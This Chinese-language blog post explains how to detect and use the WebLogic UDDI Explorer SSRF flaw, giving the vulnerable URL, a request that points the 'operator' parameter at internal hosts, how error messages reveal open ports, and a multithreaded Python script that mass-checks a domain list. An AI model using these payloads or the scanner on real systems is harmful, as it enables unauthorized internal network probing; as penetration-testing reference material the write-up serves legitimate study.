美文网首页渗透测试程序员
weblogic漏洞系列-SSRF漏洞

weblogic漏洞系列-SSRF漏洞

作者: zksmile | 来源:发表于2018-08-10 18:20 被阅读58次

    0x01前言:

    SSRF漏洞的原理这里就不在细说了,这里主要讲解weblogic中SSRF漏洞的检测办法,以及利用手段。

    0x02检测漏洞:

    2.1、直接访问:http://ip:7001/uddiexplorer/ ,SSRF漏洞存在于:http://ip:7001/uddiexplorer/SearchPublicRegistries.jsp

    image.png

    2.2、向服务器提交以下参数

    ?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001

    image.png

    关键点是operator这个参数,访问7001端口时返回一个404的状态码。

    2.3、访问一个不存在的端口会返回以下信息。

    image.png

    可以通过返回的信息不同,来判断端口开放的状态。

    2.4、实战挖掘的过程中总共遇到过以下几种状态(referer:http://zone.secevery.com/question/121):

    状态一、

    image.png

    状态二、

    image.png

    状态三、

    image.png

    状态四、

    image.png

    状态五、

    image.png

    2.5批量检测脚本:

    #!/usr/bin/env python  
    
    # -*- coding: utf-8 -*-
    
    import re
    
    import sys
    
    import Queue
    
    import requests
    
    import threading
    
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    
    queue = Queue.Queue()
    
    mutex = threading.Lock()
    
    class Test(threading.Thread):
        def __init__(self, queue):
    
            threading.Thread.__init__(self)
    
            self.queue = queue
    
        def check(self,domain,ip):
    
            payload = "uddiexplorer/SearchPublicRegistries.jsp?operator={ip}&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search".format(ip=ip)
    
            url = domain + payload
    
            try:
    
                html = requests.get(url=url, timeout=15, verify=False).content
    
                m = re.search('weblogic.uddi.client.structures.exception.XML_SoapException',html)
    
                if m:
    
                    mutex.acquire()
    
                    with open('ssrf1.txt','a+') as f:
    
                        print "%s has weblogic ssrf." % domain
    
                        f.write("%s has weblogic ssrf." % domain)
    
                    mutex.release()
    
            except Exception,e:
    
                print e
    
        def get_registry(self,domain):
    
            payload = 'uddiexplorer/SetupUDDIExplorer.jsp'
    
            url = domain + payload
    
            try:
    
                html = requests.get(url=url, timeout=15, verify=False).content
    
                m = re.search('<i>For example: (.*?)/uddi/uddilistener.*?</i>',html)
    
                if m:
    
                    return m.group(1)
    
            except Exception,e:
    
                print e
    
        def run(self):
    
            while not self.queue.empty():
    
                domain = self.queue.get()
    
                mutex.acquire()
    
                print domain
    
                mutex.release()
    
                ip = self.get_registry(domain)
    
                self.check(domain,ip)
    
                self.queue.task_done()
    
    if __name__ == '__main__':
    
        with open('domain.txt','r') as f:
    
            lines = f.readlines()
    
        for line in lines:
    
            queue.put(line.strip())
    
        for x in xrange(1,50):
    
            t = Test(queue)
    
            t.setDaemon(True)
    
            t.start()
    
        queue.join()
    
    image.png

    0x03、利用手段

    3.1内网端口探测

    我们可以根据返回的不同状态信息,来判断内网的IP是否存在以及对应端口是否开放。这里有一个地方需要注意的是,需要知道目标内网网段。如果盲目的去进行网段扫描会耗费大量的时间。

    实战挖掘中发现这个位置有可能会泄露内网网段。

    image.png

    确定网段之后可以使用脚本来进行快速探测。

    SSRF不仅仅只是为了探测端口,更强大之处是在于探测到一些信息之后从而进一步的利用.

    更多的利用手段可以参考以下文章:

    https://blog.chaitin.cn/gopher-attack-surfaces/

    0x04、Referer:

    https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf

    http://wyb0.com/posts/weblogic-ssrf-check/

    相关文章

      网友评论

        本文标题:weblogic漏洞系列-SSRF漏洞

        本文链接:https://www.haomeiwen.com/subject/xxulbftx.html